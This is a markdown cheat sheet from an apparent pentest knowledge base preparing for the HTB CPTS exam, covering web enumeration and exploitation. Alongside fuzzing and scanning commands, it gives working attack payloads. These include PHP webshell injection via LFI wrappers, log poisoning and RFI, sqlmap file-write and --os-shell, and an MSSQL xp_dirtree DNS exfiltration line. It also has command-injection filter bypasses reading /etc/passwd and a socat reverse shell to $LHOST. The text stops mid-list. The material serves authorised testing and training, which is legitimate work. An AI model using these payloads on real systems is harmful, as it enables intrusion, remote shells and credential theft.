web-enumeration-and-exploitation.md (139523B)
1 --- 2 title: "Stage 02 — Web Enumeration and Exploitation" 3 description: "CPTS attack-flow reference for stage 02 — web enumeration and exploitation in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 3 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-02", "pentest-workflow"] 8 tools: ["ffuf", "Feroxbuster", "Gobuster", "Burp Suite", "sqlmap", "Nuclei"] 9 difficulty: intermediate 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/03 - Stage 02 - Web Enumeration and Exploitation.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 03 of 17 · **Focus:** Stage 02 — Web Enumeration and Exploitation 17 > 18 > **Previous:** [Stage 01 — Recon and Host Discovery](/sheets/pentest-workflow/recon-and-host-discovery) · **Next:** [Foothold Toolkit — File Transfers](/sheets/pentest-workflow/foothold-file-transfers) 19 20 --- 21 # 🌐 STAGE 2 — Web Enumeration & Exploitation 22 23 Everything after a live web port. Content discovery first, then vhosts, then the app itself. I fuzz, read the app, then attack the one thing that's actually vulnerable. Deep tool refs: Ffuf-Cheatsheet · webfuzz · gobuster · Nuclei-Cheatsheet · WPScan · LFI - Cheat Sheet · sqlmap. 24 25 > [!note] Setup assumptions 26 > `$IP` = box, `$DOMAIN` = domain.htb, `$LHOST` = my tun0. Add every domain/vhost I find to `/etc/hosts` (`$IP $DOMAIN admin.$DOMAIN ...`) before content discovery, or half the app won't resolve. SecLists lives at `/usr/share/seclists`. 27 28 **The methodology at a glance** 29 30 <figure class="flow plate corners"> 31 <figcaption class="flow__cap"><span class="flow__kind">Web exploitation methodology</span><span class="flow__dir">TD</span></figcaption> 32 <div class="flow__body"> 33 <div class="flow__diagram" data-dir="td"> 34 <div class="flow-rank"><div class="flow-node is-entry">Live web port found<span class="sub">Stage 01</span></div></div> 35 <div class="flow-edge"></div> 36 <div class="flow-rank"><div class="flow-node">Fingerprint<span class="sub">whatweb / httpx / headers</span></div></div> 37 <div class="flow-edge"></div> 38 <div class="flow-rank"><div class="flow-node is-decision">Vhosts?</div></div> 39 <div class="flow-branches"> 40 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Host-header fuzz</span></div><div class="flow-node">admin./dev./internal.<span class="sub">add to /etc/hosts</span></div></div> 41 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">single site</span></div></div> 42 </div> 43 <div class="flow-join"></div> 44 <div class="flow-rank"><div class="flow-node">Content discovery<span class="sub">ffuf/feroxbuster + right extension</span></div></div> 45 <div class="flow-edge"></div> 46 <div class="flow-rank"><div class="flow-node">Param mining<span class="sub">arjun / gau / JS analysis</span></div></div> 47 <div class="flow-edge"></div> 48 <div class="flow-rank"><div class="flow-node">Read the app<span class="sub">Burp walkthrough, map every input</span></div></div> 49 <div class="flow-edge"></div> 50 <div class="flow-rank"><div class="flow-node is-decision">Input class?</div></div> 51 <div class="flow-branches"> 52 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">auth</span></div><div class="flow-node">defaults → brute → JWT/reset flaws</div></div> 53 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">query param</span></div><div class="flow-node">SQLi / NoSQLi / cmd-inject</div></div> 54 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">file load</span></div><div class="flow-node">LFI / SSRF / XXE</div></div> 55 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">upload</span></div><div class="flow-node">Upload bypass → webshell</div></div> 56 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">rendered</span></div><div class="flow-node">XSS → cookie theft / blind</div></div> 57 </div> 58 <div class="flow-join"></div> 59 <div class="flow-rank"><div class="flow-node is-goal">Shell as service account</div></div> 60 <div class="flow-edge"></div> 61 <div class="flow-rank"><div class="flow-node">File transfer + upgrade<span class="sub">Stage 03 → PrivEsc Stage 09</span></div></div> 62 </div> 63 </div> 64 </figure> 65 66 > [!success] CPTS exam tips 67 > - **/etc/hosts discipline** — half of all "dead ends" on the exam are unfuzzed vhosts. If the landing page is a static placeholder, vhost-fuzz immediately. 68 > - **Fuzz with the right extension** — `.php` on PHP, `.aspx` on IIS. The exam hides the foothold page behind the correct extension more often than behind an obscure name. 69 > - **Enumerate before exploiting** — five minutes in Burp reading every form/endpoint beats an hour of sqlmap `--level=5`. 70 > - **Default creds first, always** — Tomcat/Jenkins/Grafana/PRTG boxes are one login away from RCE; check the table before reaching for rockyou. 71 > - **Chase the low-priv shell to privesc fast** — web footholds land as `www-data`/`IIS APPPOOL`; pivot straight to [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) checks. 72 > - **Document as you go** — every finding needs a reproducible request (save Burp requests, keep ffuf/nuclei output) so the report writes itself later. 73 74 --- 75 76 ### 🔎 Fingerprinting & tech identification (before any fuzzing) 77 78 **What to look for** → server header, framework, CMS, WAF. The tech stack dictates the wordlist (`.php` vs `.aspx` vs `.jsp`), the default-cred table, and which CVEs apply — five minutes of fingerprinting saves an hour of wrong-extension fuzzing. Tools: [whatweb](https://github.com/urbanadventurer/WhatWeb) (single targets), [httpx](https://github.com/projectdiscovery/httpx) (bulk probing + tech detect). MITRE [T1595.002](https://attack.mitre.org/techniques/T1595/002/) (Active Scanning: Vulnerability Scanning adjacent) / TA0043 Recon. 79 80 ```bash 81 # whatweb — fast banner/plugin fingerprint, aggression levels 1(passive)->3(aggressive) 82 whatweb http://$IP # default, one request-ish 83 whatweb -a 3 http://$IP # aggressive: heavier probing, version guesses 84 whatweb --log-json=whatweb.json http://$IP 85 86 # httpx — probe many hosts at once, grab title/tech/status (pipe in the port-sweep output) 87 httpx -l hosts.txt -title -tech-detect -status-code -follow-redirects -o httpx.out 88 echo http://$IP | httpx -tech-detect -server -title 89 90 # headers + TLS by hand when the tools disagree 91 curl -sI http://$IP | grep -iE 'server|x-powered-by|x-aspnet|set-cookie' 92 # X-Powered-By: PHP/8.1 / ASP.NET / Express — free stack intel 93 # cookie names leak the framework: PHPSESSID=PHP, JSESSIONID=Java/Tomcat, 94 # .AspNetCore.Session=ASP.NET Core, connect.sid=Express, laravel_session=Laravel 95 96 # robots.txt / sitemap.xml / security.txt are free, non-intrusive content discovery 97 curl -s http://$IP/robots.txt 98 ``` 99 100 > [!tip] Browser-side fingerprinting 101 > The **Wappalyzer** browser extension fingerprints as you browse Burp-scoped pages — zero extra traffic beyond what the browser already sends. For scripted checks, `whatweb`/`httpx -tech-detect` cover the same ground. 102 103 > [!tools] Screenshot triage at scale 104 > Once `httpx`/vhost fuzzing yields a URL list, screenshot everything in one pass and eyeball the contact sheet for login panels, default installs, and error pages. [gowitness](https://github.com/sensepost/gowitness) is staged locally: 105 > 106 > [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_linux_amd64.sha256.asc)) 107 > 108 > ```bash 109 > ./gowitness scan file -f urls.txt --screenshot-path ./shots 110 > ./gowitness report server # browse the gallery on 127.0.0.1:7171 111 > ``` 112 113 > [!warning] OPSEC — fingerprinting is logged 114 > `whatweb -a 3` and `httpx -tech-detect` fire dozens of probes with recognisable UAs/paths; on a monitored engagement pass `-H "User-Agent: ..."` and rate-limit (`httpx -rl 25`). Cookie names, `Server:` headers, and `robots.txt` are single-request recon — harvest them from Burp history for free before firing tools. 115 116 --- 117 118 ### Tech ID → attack mapping 119 120 Fingerprint in hand, jump straight to the relevant section/tool instead of generic fuzzing: 121 122 | Fingerprint | Immediate move | Deep-dive tool | Section | 123 |---|---|---|---| 124 | WordPress (`wp-content`, `wp-login.php`) | wpscan `-e vp,vt,u` + `?author=1` enum | [wpscan](https://github.com/wpscanteam/wpscan) | WordPress (wpscan) | 125 | Joomla (`/administrator/`, `joomla.xml`) | read `joomla.xml` version | [droopescan](https://github.com/SamJoan/droopescan) `scan joomla` | Joomla → Template Customise shell / dir-traversal | 126 | Drupal (`CHANGELOG.txt`, `/node/1`) | droopescan → Drupalgeddon version check | [droopescan](https://github.com/SamJoan/droopescan) `scan drupal` | Drupal → PHP Filter / backdoored module / Drupalgeddon | 127 | Any CMS, unknown | generic multi-CMS scan | [CMSmap](https://github.com/Dionach/CMSmap) | — | 128 | Apache Tomcat (`/manager`, `:8009` AJP) | default creds → WAR deploy | msf `tomcat_mgr_login` | Tomcat → /manager WAR deploy (msfvenom war) | 129 | Jenkins (`:8080`, `/script`) | anon-read? → Groovy console | — | Jenkins → Groovy Script Console RCE | 130 | GitLab (`/explore`) | self-register → repo secrets; version on `/help` | — | GitLab → self-register → repo secrets / ExifTool RCE | 131 | IIS (`Microsoft-IIS`, ASPX) | short-name enum, `.aspx` wordlists, web.config hunt | iis_shortname_scanner | IIS short-name (`~`) tilde enumeration | 132 | PHP stack (`PHPSESSID`, `.php`) | LFI/upload/SQLi focus, `php://` wrappers | sqlmap, ffuf | LFI → RCE | 133 | Node/Express (`connect.sid`, `X-Powered-By: Express`) | NoSQLi, prototype pollution, SSTI (Pug/EJS) | — | NoSQL injection (MongoDB/Express APIs), SSTI — server-side template injection | 134 | Java (`JSESSIONID`, `Whitelabel Error`) | SSTI (Thymeleaf/FreeMarker), deserialization, Spring Actuator `/env` `/heapdump` | ysoserial | 🧬 Insecure deserialization | 135 | GraphQL (`/graphql`, `/graphiql`) | introspection query | kiterunner | 🔌 API attacks — GraphQL, kiterunner, WebSockets | 136 | Grafana | default `admin:admin`, CVE-2021-43798 path traversal (`/public/plugins/`) | — | AuthN attacks — defaults, JWT, OAuth, reset flaws, MFA | 137 | WAF detected (403 on `'`, `Server: cloudflare`/`awselb`…) | slow down, encode, see WAF section | — | 🛡️ WAF evasion & 403 bypass | 138 139 --- 140 141 ### Content discovery (dirs / files / extensions) 142 143 **What to look for** → hidden dirs, admin panels, backups (`.bak .old .zip .sql`), source leaks, upload dirs. Establish the soft-404 size *first* so filters actually work. 144 145 **Enumerate** 146 ```bash 147 # ffuf directories 148 ffuf -u http://$IP/FUZZ \ 149 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ 150 -mc 200,204,301,302,307,401,403 -c 151 152 # extensions on words (tune to the stack: php,asp,jsp,txt,bak,old) 153 ffuf -u http://$IP/FUZZ \ 154 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \ 155 -e .php,.txt,.bak,.old -mc 200 -c 156 157 # recursion — only AFTER filters are trusted, cap the depth 158 ffuf -u http://$IP/FUZZ \ 159 -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt \ 160 -recursion -recursion-depth 2 -mc 200,301,302 -c 161 162 # autocalibrate + save an HTML report for the writeup 163 ffuf -u http://$IP/FUZZ \ 164 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ 165 -ac -c -o ffuf_dirs.html -of html 166 167 # webfuzz wrapper — auto-learns -fs, prints the raw ffuf line. --dry-run to just see it 168 webfuzz recurse -u http://$IP/ # dirs recursively, auto -e .php -v 169 webfuzz ext -u http://$IP/blog/index # which extension does /blog use? 170 webfuzz page -u http://$IP/blog/ --ext php 171 172 # feroxbuster — recursive by default, the tool gobuster note points to for native recursion 173 feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html -d 2 174 175 # gobuster dir (no native recursion — chain scans manually) 176 gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ 177 -x php,html,txt -t 40 -o initial_scan.txt 178 179 # dirsearch — batteries-included default list + extension handling, great reports 180 dirsearch -u http://$IP -e php,html,txt,bak -x 403,404 --random-agent -o dirsearch.txt 181 ``` 182 183 **Fuzzer shoot-out** — pick the tool per job, not by habit: 184 185 | Tool | Native recursion | Filtering | Standout | Watch for | 186 |---|---|---|---|---| 187 | [ffuf](https://github.com/ffuf/ffuf) | `-recursion` (capped) | `-mc/-fc/-fs/-ms/-mr/-fr`, `-ac` autocalibrate | `FUZZ` keyword anywhere (Host header, body, JSON, cookie); `-mode clusterbomb` | recursion floods without depth cap | 188 | [feroxbuster](https://github.com/epi052/feroxbuster) | **on by default** | `--filter-status/--filter-size`, auto wildcard detection | Rust speed, `--collect-extensions`, pause/resume (interactive scan) | noisiest of the four; tune `-d` depth + `-L` links | 189 | [gobuster](https://github.com/OJ/gobuster) | none (chain manually) | `-b` status blacklist, `--exclude-length` | `dns`/`vhost`/`fuzz`/`s3` modes in one binary | no recursion = missed deep trees | 190 | [dirsearch](https://github.com/maurosoria/dirsearch) | `-r` | `-x` excl status, `--filter-sizes` | ships its own curated wordlist; clean reporting (`-o`) | default list smaller than raft-medium | 191 192 **Wordlist guide** (SecLists at `/usr/share/seclists`): 193 194 | Job | List | 195 |---|---| 196 | Quick dir pass | `Discovery/Web-Content/common.txt` (~4.7k) | 197 | Standard dir pass | `Discovery/Web-Content/raft-medium-directories.txt` | 198 | Files / page names | `Discovery/Web-Content/raft-medium-files.txt`, `raft-medium-words.txt` | 199 | Big fallback | `Discovery/Web-Content/directory-list-2.3-medium.txt` | 200 | Vhosts/subdomains | `Discovery/DNS/subdomains-top1million-5000.txt` (→20000) | 201 | Param names | `Discovery/Web-Content/burp-parameter-names.txt` | 202 | LFI payloads | `Fuzzing/LFI/LFI-Jhaddix.txt` | 203 | Misc | [fuzzdb](https://github.com/fuzzdb-project/fuzzdb) attack patterns (often merged into SecLists `Fuzzing/`) | 204 205 > [!tip] Match wordlist × extension × stack 206 > Fingerprint first (Tech ID → attack mapping): PHP stack → `-e .php`, IIS → `.aspx,.asp,.ashx,.config`, Tomcat → `.jsp,.war`, generic → add `.txt,.bak,.old,.zip,.sql`. A raft-medium pass with the right extension beats directory-list-2.3-big with the wrong one. 207 208 > [!warning] Watch out 209 > - **Everything is a hit** = soft-404. Hit a nonsense path first, read its size, then `-fs <size>` (or `-ac`, or let `webfuzz` learn it). Filtering skill beats wordlist size. 210 > - **Nothing is a hit** = over-filtered / wrong `-mc`. Fall back to `-mc all` then filter down. 211 > - Recursion with bad filters floods the box — depth-cap it and trust filters first. 212 > - gobuster `--verbose` is gone in v3.7+ (it's `--debug` now); use `--exclude-length` for wildcard boxes. 213 214 --- 215 216 ### VHost & subdomain fuzzing 217 218 **What to look for** → extra sites on the same IP (`admin.`, `dev.`, `internal.`). Wrong vhosts return the *default* site (a real 200), so response **size** is the only discriminator — always filter it. 219 220 **Enumerate** 221 ```bash 222 # ffuf Host-header fuzz — point -u at the IP, fuzz the Host 223 ffuf -u http://$IP/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ 224 -H "Host: FUZZ.$DOMAIN" -ac -c 225 # manual size filter once I know the default page size 226 ffuf -u http://$IP/ -w namelist.txt -H "Host: FUZZ.$DOMAIN" -fs 15157 227 228 # webfuzz vhost — auto-calibrates -fs for me 229 webfuzz vhost -u http://$IP/ -d $DOMAIN 230 231 # gobuster vhost — needs --append-domain to build FQDN Host headers 232 gobuster vhost -u http://$IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ 233 --domain $DOMAIN --append-domain --exclude-length <baseline_len> 234 235 # public subdomains via real DNS (bug-bounty / resolvable targets) 236 gobuster dns -d $DOMAIN -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -i 237 ``` 238 239 > [!tip] Vhost before assuming one site 240 > Always vhost-fuzz an IP before deep content discovery — the interesting app is often on `admin.$DOMAIN`, not the landing page. Add every hit to `/etc/hosts`, then re-run dir fuzzing against the vhost. 241 242 --- 243 244 ### Parameter & value fuzzing 245 246 **What to look for** → hidden GET/POST params, a working `id`/`user` value, login user enumeration. Baseline-filter the "invalid" response. 247 248 **Enumerate** 249 ```bash 250 # GET parameter NAMES 251 ffuf -u "http://$IP/index.php?FUZZ=test" \ 252 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all -fs 4242 -c 253 254 # GET parameter VALUE (regex-filter the "not found" text) 255 ffuf -u "http://$IP/index.php?id=FUZZ" -w ids.txt -mc 200 -fr 'not found' -c 256 257 # POST login — fuzz username, filter the 401 258 ffuf -u http://$IP/login.php -X POST -d 'username=FUZZ&password=Password1' -w users.txt -fc 401 -c 259 260 # webfuzz — name/value, numeric range built on the fly 261 webfuzz getparam -u http://$IP/admin/admin.php 262 webfuzz value -u http://$IP/admin/admin.php -p id --range 1-1000 263 264 # gobuster fuzz 265 gobuster fuzz -u "http://$IP/page?FUZZ=test" \ 266 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b 404 --exclude-length 0 267 ``` 268 269 **Parameter mining — let archives and JS hand you the params** (cheaper than fuzzing blind): 270 271 ```bash 272 # arjun — smart GET/POST param discovery (learns the baseline, then diffs) 273 arjun -u "http://$IP/page.php" --stable # GET 274 arjun -u "http://$IP/api/login" -m POST --stable # POST 275 276 # ParamSpider — pulls params from Wayback archives for a domain 277 python3 paramspider.py -d $DOMAIN 278 279 # gau / waybackurls — every URL the Wayback Machine / CommonCrawl ever saw 280 echo $DOMAIN | gau --threads 5 | tee gau.txt 281 echo $DOMAIN | waybackurls | grep -E '\?.*=' | sort -u > params.txt 282 # archive URLs reveal hidden endpoints, deleted admin panels, and file paths; 283 # filter by extension for quick wins: 284 cat gau.txt | grep -iE '\.(php|aspx|jsp|json|xml|bak|sql|env|git)' 285 286 # xnLinkFinder concept — crawl the app's JS bundles and extract endpoints/params 287 # (python3 xnLinkFinder.py -i target.js -o endpoints.txt) 288 # ship-JS is ground truth: undocumented routes, API keys, hidden params 289 ``` 290 291 > [!tip] Archive-then-fuzz order 292 > Run `gau`/`waybackurls` **before** fuzzing a target — dead endpoints from 2019 still resolve on legacy boxes, and they cost zero requests against the live host (fully passive, great OPSEC). Feed surviving paths into `httpx` to check which are still alive. 293 294 --- 295 296 ### Web scanners (nikto / nuclei) 297 298 [nikto](https://github.com/sullo/nikto) = classic Perl web-server scanner (misconfigs, default files, outdated software); [nuclei](https://github.com/projectdiscovery/nuclei) = template-driven CVE/exposure engine. Different jobs — nikto for server hygiene, nuclei for known-vuln matching. 299 300 **Enumerate** 301 ```bash 302 # Nikto — everything except DoS, spoof UA (default UA is instantly WAF-flagged), JSON out 303 nikto -h http://$IP -Tuning x6 -useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -o nikto.json -Format json 304 nikto -h http://$IP -Tuning 49 # XSS(4) + SQLi(9) only, low noise 305 306 # Nuclei — polite single-target (don't hammer a fragile box) 307 nuclei -u http://$IP -rl 20 -c 10 -bs 10 -timeout 15 -retries 2 -o box_scan.txt 308 nuclei -u http://$IP -as # auto-scan: fingerprint tech -> map templates 309 nuclei -u http://$IP -tags cve -s critical,high # high-signal quick pass 310 nuclei -u http://$IP -tags wordpress,wp-plugin # tech-specific 311 ``` 312 313 > [!warning] Watch out 314 > - Both tools are **loud** — assume everything is logged. Nikto has no real stealth; narrow with `-Tuning`. 315 > - On isolated lab nets add nuclei `-ni` or OAST templates hang and drag the whole scan (public `oast.pro`/`oast.live` callbacks are also externally observable — the single most important OPSEC flag). 316 > - `nuclei -ut` before every engagement; default `-rl 150` will knock a flaky HTB service over. 317 318 --- 319 320 ### WordPress (wpscan) 321 322 **What to look for** → `/wp-login.php`, `wp-content/`, `generator` meta, `?author=1` redirects. Feed [wpscan](https://github.com/wpscanteam/wpscan) an API token or you get **zero** vuln data. 323 324 **Enumerate** 325 ```bash 326 export WPSCAN_API_TOKEN=<token> # 25 free requests/day 327 wpscan --url http://$DOMAIN -e vp,vt,u --api-token $WPSCAN_API_TOKEN # vuln plugins/themes + users 328 wpscan --url http://$DOMAIN -e ap --plugins-detection aggressive # ALL plugins, noisy 329 wpscan --url http://$DOMAIN --stealthy --throttle 2000 # low-and-slow 330 ``` 331 332 **Exploit / Attack** 333 ```bash 334 # password attack — -U known/enumerated user, -P wordlist, force xmlrpc for speed 335 wpscan --url http://$DOMAIN -U "$U" -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc 336 # no -U -> wpscan enumerates u1-10 first, then attacks 337 wpscan --url http://$DOMAIN -P /usr/share/wordlists/rockyou.txt 338 ``` 339 340 > [!warning] Watch out 341 > - Passive detection (the default) often can't read a version — bump to `--plugins-detection aggressive` when you need it, accepting the 404 noise. 342 > - `xmlrpc-multicall` (500 pw/request) only exists on **WP < 4.4**; on modern WP fall back to `--password-attack wp-login`. Security plugins block xmlrpc entirely → wp-login. 343 > - Config backups (`-e cb`) and DB exports (`-e dbe`) are the crown jewels — wp-config.php.bak = DB creds. 344 345 --- 346 347 ### LFI → RCE 348 349 **What to look for** → `?page=`, `?file=`, `?language=`, `?include=` — anything that loads a file. `include()`/`require()` **execute**; `file_get_contents()` only reads. 350 351 **Enumerate / confirm** 352 ```bash 353 curl "http://$IP/index.php?language=/etc/passwd" 354 curl "http://$IP/index.php?language=../../../../etc/passwd" 355 356 # find the parameter, then fuzz LFI payloads (set -fs to the normal page size) 357 ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \ 358 -u "http://$IP/index.php?FUZZ=value" -fs 2287 359 ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \ 360 -u "http://$IP/index.php?language=FUZZ" -fs 2287 361 ``` 362 363 **Read source with the base64 filter (find creds/URLs)** 364 ```bash 365 # manual 366 curl "http://$IP/index.php?language=php://filter/read=convert.base64-encode/resource=config" | base64 -d 367 368 # webfuzz lfi — wraps php://filter, matches PD9waH (=<?ph), curls+base64-decodes every hit, greps creds 369 webfuzz lfi -u "http://$IP/nav.php?page=FUZZ" --resource /var/www/html/ 370 # the raw commands it replaces: 371 ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt:FUZZ \ 372 -u "http://$IP/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/FUZZ" \ 373 -mr "PD9waH" -fs 0 374 curl -s "http://$IP/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wp-config.php" | base64 -d 375 ``` 376 377 **Exploit / Attack — LFI → RCE** 378 ```bash 379 # data:// wrapper (needs allow_url_include=On) 380 curl "http://$IP/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==&cmd=id" 381 382 # php://input — POST the payload 383 curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://$IP/index.php?language=php://input&cmd=id" 384 385 # expect:// wrapper 386 curl -s "http://$IP/index.php?language=expect://id" 387 388 # RFI — host the shell myself 389 echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server 8000 390 curl "http://$IP/index.php?language=http://$LHOST:8000/shell.php&cmd=id" 391 392 # log poisoning — poison the access log via User-Agent, then include it 393 curl -s "http://$IP/index.php" -A '<?php system($_GET["cmd"]); ?>' 394 curl "http://$IP/index.php?language=/var/log/apache2/access.log&cmd=id" 395 396 # PHP session poisoning 397 curl "http://$IP/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E" 398 curl "http://$IP/index.php?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id" 399 ``` 400 401 > [!warning] Watch out 402 > - Null-byte (`%00`) and path-truncation extension bypasses are **obsolete** (PHP < 5.3 only) — don't waste time. 403 > - RFI needs `allow_url_include=On`; `require()` can't pull a remote URL, `include()` can. 404 > - Upload tricks: `GIF8<?php ...?>` in a `.gif`, or `zip://shell.zip%23shell.php&cmd=id` / `phar://` when you can upload but not directly include a `.php`. 405 406 --- 407 408 ### SQL injection (sqlmap) 409 410 **What to look for** → any GET/POST/cookie param, especially numeric `id`. Capture the real request in Burp → `request.txt` so headers/auth/POST body are preserved. 411 412 **Detect** 413 ```bash 414 sqlmap -u "http://$IP/page.php?id=1" --batch 415 sqlmap -r request.txt --batch # best for POST / auth / headers 416 sqlmap -u "http://$IP/page.php?id=1&name=test" -p id --level=5 --risk=3 --batch # when default finds nothing 417 ``` 418 419 **Enumerate → dump** 420 ```bash 421 sqlmap -r request.txt --batch --dbs 422 sqlmap -r request.txt --batch -D webapp --tables 423 sqlmap -r request.txt --batch -D webapp -T users --columns 424 sqlmap -r request.txt --batch -D webapp -T users -C username,password --dump 425 sqlmap -r request.txt --batch -a # grab everything (slow) 426 ``` 427 428 **System access** 429 ```bash 430 sqlmap -u "http://$IP/page.php?id=1" --file-read="/etc/passwd" --batch 431 sqlmap -u "http://$IP/page.php?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --batch 432 sqlmap -r request.txt --level=3 --risk=3 --os-shell --batch # needs stacked queries (S) + DBA 433 # WAF in the way → chain tampers 434 sqlmap -u "http://$IP/page.php?id=1" --tamper=between,randomcase,space2comment --random-agent --delay=2 --batch 435 ``` 436 437 **High-value flags cheat sheet** 438 439 | Flag | Why | 440 |---|---| 441 | `-r request.txt` | preserve cookies/CSRF/POST body exactly as Burp saw it | 442 | `-p id` | test only the promising param (speed, less noise) | 443 | `--level 1-5 --risk 1-3` | level: cookies(2) UA/Referer(3); risk: OR-payloads(3, destructive) | 444 | `--technique=BEUSTQ` | Boolean/Error/Union/Stacked/Time — drop T to go fast | 445 | `--dbms=mysql` | skip fingerprinting, cut payload count hugely | 446 | `--os-shell` / `--os-pwn` | needs stacked queries + DBA + writable webroot | 447 | `--file-read` / `--file-write` + `--file-dest` | direct file I/O via `LOAD_FILE`/`INTO OUTFILE` | 448 | `--proxy http://127.0.0.1:8080` | watch sqlmap's raw requests in Burp to debug | 449 | `--flush-session` | changed flags/target shape → forget cached results | 450 | `--second-url` / `--second-req` | **second-order** SQLi: inject in one request, observe in another | 451 | `--dns-domain attacker.tld` | **OOB exfil** over DNS when the response is fully blind | 452 453 **Useful tampers** (chain comma-separated; inspect `tamper/` dir for the full list): 454 455 | Tamper | Transform | Beats | 456 |---|---|---| 457 | `space2comment` | space → `/**/` | naive space filters | 458 | `randomcase` | `SeLeCt` | case-sensitive keyword WAF | 459 | `between` | `=` → `BETWEEN` | `=`/comparison filters | 460 | `equaltolike` | `=` → `LIKE` | `=` filters | 461 | `apostrophemask` | `'` → UTF-8 fullwidth | quote filters | 462 | `charencode` / `charunicodeencode` | URL/unicode-encode everything | keyword scanners | 463 | `base64encode` | whole-payload b64 | apps that b64-decode input | 464 | `modsecurityversioned` | `/*!50000SELECT*/` version comments | ModSecurity-style rules | 465 466 **Second-order SQLi** — payload is stored now, executed when another page/query reads it back (classic: register username `admin'-- `, then the *profile/password-change* query injects). sqlmap: `--second-url http://$IP/profile.php`, or replay manually in Burp and diff. 467 468 **Out-of-band SQLi** — zero in-band output? Exfil over DNS (needs `xp_dirtree` on MSSQL / `LOAD_FILE` UNC on MySQL-Windows): 469 470 ```sql 471 '; EXEC xp_dirtree '\\'+(SELECT password FROM users WHERE username='admin')+'.abc123.oast.pro'\\share';-- - 472 ``` 473 Catch with Burp Collaborator / [interactsh](https://github.com/projectdiscovery/interactsh) — the leaked value arrives as a DNS label. sqlmap automates it with `--dns-domain`. 474 475 > [!warning] Watch out 476 > - `--level=2`+ tests cookies, `--level=3`+ tests User-Agent/Referer — bump level before declaring a param clean. 477 > - Time-based blind is glacial. `--technique=BEU` drops it; `--technique=U` (UNION) is fastest for dumping. 478 > - `--risk=3` adds OR-based payloads that can **UPDATE/DELETE** rows — think before you run it on a live app. 479 > - Changed flags but same target? `--flush-session` or sqlmap reuses the old (possibly wrong) result. 480 481 --- 482 483 ### Command injection (filter bypass) 484 485 **What to look for** → params that ping / nslookup / convert / resolve — anything that shells out (`system()`, `shell_exec()`, `passthru()`, backticks). Read the script source the moment you get any exec. 486 487 **Confirm** 488 ```bash 489 curl "http://$IP/ping.php?ip=127.0.0.1;id" 490 curl "http://$IP/ping.php?ip=127.0.0.1%0aid" # %0a newline is the best first probe 491 ``` 492 493 **Exploit / Attack — bypass chains** 494 ```bash 495 # space blocked -> ${IFS} / tab(%09) / brace expansion 496 curl "http://$IP/ping.php?ip=127.0.0.1%0acat${IFS}/etc/passwd" 497 curl "http://$IP/ping.php?ip=127.0.0.1%0a{cat,/etc/passwd}" 498 499 # slash blocked -> pull it from $PATH 500 curl "http://$IP/ping.php?ip=127.0.0.1%0acat${IFS}${PATH:0:1}etc${PATH:0:1}passwd" 501 502 # command name blocked -> quote/char split (bash -c '...' strips the empty quote pairs) 503 curl "http://$IP/ping.php?ip=127.0.0.1%0a'i'd" 504 curl "http://$IP/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat" 505 curl "http://$IP/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php" # READ THE SOURCE first 506 507 # binary name blocked -> wildcards; case-WAF -> reverse / base64 508 curl "http://$IP/ping.php?ip=127.0.0.1%0a/???/c?t${IFS}/etc/passwd" 509 curl "http://$IP/ping.php?ip=127.0.0.1%0abash<<<\$(base64${IFS}-d<<<aWQ=)" # aWQ= = 'id' 510 511 # RCE -> reverse shell via socat (survives the filter on the INLANEFREIGHT lab) 512 socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0 # attacker 513 curl "http://$IP/ping.php?ip=127.0.0.1%0asocat${IFS}TCP4:$LHOST:4444${IFS}EXEC:bash,pty,stderr,setsid,sigint,sane" 514 ``` 515 516 > [!warning] Watch out 517 > - `%0a` (newline) beats operator blacklists almost every time — developers can't fully ban it. Try it first. 518 > - Filters compose, so bypasses compose: one request often needs operator + space + name-split stacked. 519 > - Every space in the payload must become `${IFS}` or `%09`, or the space blacklist kills the request. 520 > - 